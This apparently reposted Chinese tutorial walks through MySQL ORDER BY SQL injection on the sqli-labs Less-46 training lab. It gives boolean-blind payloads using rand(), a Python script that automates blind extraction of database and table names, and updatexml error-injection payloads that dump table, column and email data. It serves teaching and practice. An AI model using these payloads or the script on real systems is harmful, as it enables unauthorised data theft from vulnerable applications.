mysql order by布尔盲注

什么是order by

在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下

select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序

使用sqli-labs-php7-master环境

在第46关查看源码及打开网页

源代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY-Error-Numeric</title>
</head><body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];	
if(isset($id)){//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'SORT:'.$id."\n");fclose($fp);$sql = "SELECT * FROM users ORDER BY $id";$result = mysqli_query($con1, $sql);if ($result){?><center><font color= "#00FF00" size="4"><table   border=1'><tr><th>&nbsp;ID&nbsp;</th><th>&nbsp;USERNAME&nbsp;  </th><th>&nbsp;PASSWORD&nbsp;  </th></tr></font></font><?phpwhile ($row = mysqli_fetch_assoc($result)){echo '<font color= "#00FF11" size="3">';		echo "<tr>";echo "<td>".$row['id']."</td>";echo "<td>".$row['username']."</td>";echo "<td>".$row['password']."</td>";echo "</tr>";echo "</font>";}	echo "</table>";}else{echo '<font color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }}	else{echo "Please input parameter as SORT with numeric value<br><br><br><br>";echo "<br><br><br>";echo '<img src="../images/Less-46.jpg" /><br>';echo "Lesson Concept and code Idea by <b>D4rk</b>";}
?></font> </div></br></br></br></center> 
</body>
</html>

通过审计代码得知是通过stor进行数据的接收
然后将接收到的数据拼接为一个payload
其中代码中没有做任何的过滤和闭合

在前端网页中尝试发送数据查看具体的效果


通过上传数据可以看到是根据输入的字段进行排序的
我们知道order by可以根据字段或者数值
并且我们可以看到前端页面根据排序的数值不同会出现不同的变化
可见我们确实能通过布尔盲注来进行注入
我们需要使用到这些函数
首先可以使用select database()找到库名
接着我们可以使用substr()将库名的字符一个一个的截取出来
我们可以通过ascii()函数将数据库名的每个字母转为ascii码
接着使用rand()函数进行布尔判断

rand()函数可以产生一个随机值,但是如果我们给rand()函数中添加一个值那么rand()产生的值将是固定的例如

所以我们可以利用rand()函数的这个特性进行布尔盲注

具体怎么做呢?

我们根据上面的方法具体可以将payload写为这样

?sort=rand(ascii(substr((select database()),1,1))>114)

具体意思是找到库名,将库名的第一个字母截取出来,然后转为ascii码,然后进行真假判断,根据真假生成随机数
我们之前看到真或假前端页面会出现变化所以我们就可以通过不断的尝试来验证我们的猜想



我们可以看到当它真的小于115的时候页面没有任何变化当他大于115为假的时候它的页面出现了变化,所以我们现在就可以确定库名的第一个字母ascii的值为115通过对比ascii表我们就可以得出第一个字母为s以此类推我们可以得出库名,表名等等


但是这也太麻烦了
纯手工显得我们比较呆我们可以使用python写一个脚本让脚本帮我们跑
 

import requests
import time
#这里需要下载一下beautifulsoup的库
#可以在pycharm中的terminal终端界面中输入pip install beautifulsoup4
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""def inject_database(url):"""使用二分法查询  aaaaaaaaaaaaaaaaaaaa"""name = ''for i in range(1, 50):#这里是猜的因为我们不知道库名的长度,如果报表名可以更长随便写low = 32 #asc从32开始到128结束high = 128mid = (low + high) // 2 while low < high:# 爆库名payload = "rand(ascii(substr((select database()),%d,1))>%d)" % (i, mid)# 爆表名#payload = "rand(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), %d, 1))>%d)" % (i, mid)# 将payload作为参数传递给请求params = {"sort": payload}# start_time = time.time()# 发送一个GET请求到指定的URL,带上构造好的参数r = requests.get(url, params=params)# 获取请求得到的HTML响应内容html = r.text# 使用BeautifulSoup解析HTML内容soup = BeautifulSoup(html, 'html.parser')# 从HTML中找到第二个<td>标签,并获取其文本内容,这似乎是用来获取用户名getusername = soup.find_all('td')[1].text# end_time = time.time()# 检查获取的用户名是否为'admin3',如果是,则更新low的值if getusername == 'admin3':low = mid + 1# 如果获取的用户名不是'admin3',则更新high的值else:high = mid# 更新中间值,继续二分查找mid = (low + high) // 2if mid == 32:break# 将找到的字符添加到name中name += chr(mid)# 打印出当前已经找到的数据库名称print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli-labs-php7-master/less-46/'inject_database(url)

这样就方便多了比如说爆库名

爆表名

如果你仔细看过代码你会发现其实可以使用报错注入

?sort=updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5e),1)


 

?sort=updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x5e),1)


爆数据
 

?sort=updatexml(1,concat(0x5e,(select substr(email_id,1,32) from emails limit 1 offset 0),0x5e),1)

limit用来限制显示的行数        offset用来限制显示第几行默认从0开始

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/704277.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ONLYOFFICE 桌面应用程序 v8.0 引入令人惊叹的全新界面、本地主题和Moodle 集成等更新!

前言 官网链接&#xff1a; ONLYOFFICE 官方网址 ​ 感谢您对ONLYOFFICE桌面应用程序的关注&#xff01;ONLYOFFICE桌面应用程序是一款功能强大、易于使用的办公套件&#xff0c;它可以帮助您实现高效的文档处理、电子表格编辑和演示文稿设计。 无论您是个人用户还是企业用户…

分披萨 - 华为OD统一考试(C卷)

OD统一考试&#xff08;C卷&#xff09; 分值&#xff1a; 100分 题解&#xff1a; Java / Python / C 题目描述 “吃货”和“馋嘴”两人到披萨店点了一份铁盘(圆形)披萨&#xff0c;并嘱咐店员将披萨按放射状切成大小相同的偶数个小块。 但是粗心服务员将披萨切成了每块大小…

【c语言】字符函数和字符串函数(上)

前言 在编程的过程中&#xff0c;我们经常要处理字符和字符串&#xff0c;为了⽅便操作字符和字符串&#xff0c;C语⾔标准库中提供了⼀系列库函数~ 欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎指出~ 目录 前言 1. 字符分…

Vue 卸载eslint

卸载依赖 npm uninstall eslint --save 然后 进入package.json中&#xff0c;删除残留信息。 否则在执行卸载后&#xff0c;运行会报错。 之后再起项目。

pthread_exit和pehread_join函数

pthread_exit&#xff1a; 在线程中禁止调用exit函数&#xff0c;否则会导致整个进程退出&#xff0c;取而代之的是调用pthread_exit函数&#xff0c;这个函数只会使一个线程退出&#xff0c;如果主线程使用pthread_exit函数也不会使整个进程退出&#xff0c;不会影响其他线程…

【JavaScript 漫游】【022】事件模型

文章简介 本篇文章为【JavaScript 漫游】专栏的第 022 篇文章&#xff0c;对 JavaScript 中事件模型相关的知识点进行了总结。 监听函数 浏览器的事件模型&#xff0c;就是通过监听函数&#xff08;listener&#xff09;对事件做出反应。事件发生后&#xff0c;浏览器监听到…

2.23日学习打卡----初学Nginx(二)

2.23日学习打卡 目录: 2.23日学习打卡一. Nginx 虚拟主机虚拟主机的分类Nginx支持三种类型的虚拟主机配置Nginx虚拟主机单网卡多IP配置Nginx虚拟主机_基于域名虚拟主机配置Nginx虚拟主机基于多端口的配置4 二. Nginx 核心指令root和alias指令的区别return指令rewrite指令rewrit…

MySQL-行转列,链接查询

1. 行转列 1.1 示例数据准备 create table test_9(id int,name varchar(22),course varchar(22),score decimal(18,2) ); insert into test_9 (id,name,course,score)values(1,小王,java,99); insert into test_9 (id,name,course,score)values(2,小张,java,89.2); inse…

【MATLAB源码-第148期】基于matlab的BP神经网络2/4ASK,2/4FSK,2/4PSK信号识别仿真。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 1. 调制技术基础 调制技术是通信技术中的基础&#xff0c;它允许数据通过无线电波或其他形式的信号进行传输。调制可以根据信号的振幅、频率或相位的变化来进行&#xff0c;分别对应于ASK、FSK和PSK。 1.1 2ASK与4ASK 振幅…

西宾视频下载工具(mediadown)

一个支持多网站的视频下载工具。目前已经支持的网站有知乎、哔哩哔哩、得到、猫耳、蜻蜓FM。 西宾视频下载工具能够帮助你下载知乎知学堂、哔哩哔哩、得到课程、猫耳音频、蜻蜓FM的音视频文件。如果你是这些网站的会员&#xff0c;它还能帮你下载会员节目的音视频。 工具也不是…

【大厂AI课学习笔记NO.54】2.3深度学习开发任务实例(7)数据标注和数据集拆分

数据标注 有时我们会把特征工程和数据集的标注弄混淆&#xff0c;在普通的机器学习项目中&#xff0c;我们需要进行特征工程&#xff0c;但是在深度学习项目过程中&#xff0c;我们需要进行数据标注工作。 标注工具 在本案例中&#xff0c;使用的是开源的标注工具Labelme&am…

PureFlash v1.9.1特性介绍

PureFlashv1.9.1版本特性主要有3个&#xff1a; 1. 支持RDMA网络 使用RDMA协议可以大大减少对CPU的消耗&#xff0c;性能提升30%以上。 PureFlash的网络配置分为存储节点间网络&#xff08;存储后端网&#xff09;和客户端网络&#xff08;前端网&#xff09;。都支持使用RD…

Elasticsearch 创建index库 timeout

问题概述 使用 python 客户端 代码进行创建,【之前成功创建,但是现在出现报错,报错代码es_connection.client.indices.create】def create_vector_index(dataset_index_name,vector_query_field,query_field):es_connection = get_collention(dataset_index_name,vector_que…

Redis+Caffeine 太强了!二级缓存可以这样实现!

在实际的项目中&#xff0c;我们通常会将一些热点数据存储到Redis或MemCache这类缓存中间件中&#xff0c;只有当缓存的访问没有命中时再查询数据库。 在一些场景下可能还需要进一步配合本地缓存使用&#xff0c;例如Guava cache或Caffeine&#xff0c;从而再次提升程序的响应…

Keil5 配置jlink及jlink下载程序,程序没有运行

1.先选好对应的芯片设备 之后步骤参考这个&#xff1a;MDK5 JLINK配置流程_keil5配置jlink仿真器步骤-CSDN博客 2.jlink下载程序之后板子没有运行可以查看reset and run是否有没有勾选

docker build基本命令

背景 我们经常会构建属于我们应用自己的镜像&#xff0c;这种情况下编写dockerfile文件不可避免&#xff0c;本文就来看一下常用的dockerfile的指令 常用的dockerfile的指令 首先我们看一下docker build的执行过程 ENV指令&#xff1a; env指令用于设置shell的环境变量&am…

【c语言】字符函数和字符串函数(下)

前言 书接上回 【c语言】字符函数和字符串函数(上) 上一篇讲解的strcpy、strcat、strcmp函数的字符串长度是不受限制的 而本篇strncpy、strncat、strcnmp函数的字符串长度是受限制的 欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;…

JANGOW: 1.0.1

kali:192.168.223.128 主机发现 nmap -sP 192.168.223.0/24 端口扫描 nmap -p- 192.168.223.154 开启了21 80端口 web看一下&#xff0c;有个busque.php参数是buscar,但是不知道输入什么&#xff0c;尝试文件包含失败 扫描目录 dirsearch -u http://192.168.223.154 dirse…

Python的字符串操作你用对了吗?

1.创建字符串 字符串指的是使用一对单引号或者一对双引号或者一对三个单引号或者一对三个双引号包裹的文本 # 创建字符串str1 hellostr2 "world"print(str1)print(str2) # 使文本原样输出str3 床上明月光&#xff0c;疑是地上霜。str4 """举头望…

10.vue学习笔记(组件数据传递-props回调函数子传父+透传Attributes+插槽slot)

文章目录 1.组件数据传递2.透传Attributes&#xff08;了解&#xff09;禁用Attributes继承 3.插槽slot3.1.插槽作用域3.2.默认内容3.3.具名插槽3.4.插槽中的数据传递3.5.具名插槽传递数据 1.组件数据传递 我们之前讲解过了组件之间的数据传递&#xff0c;props 和 自定义事件…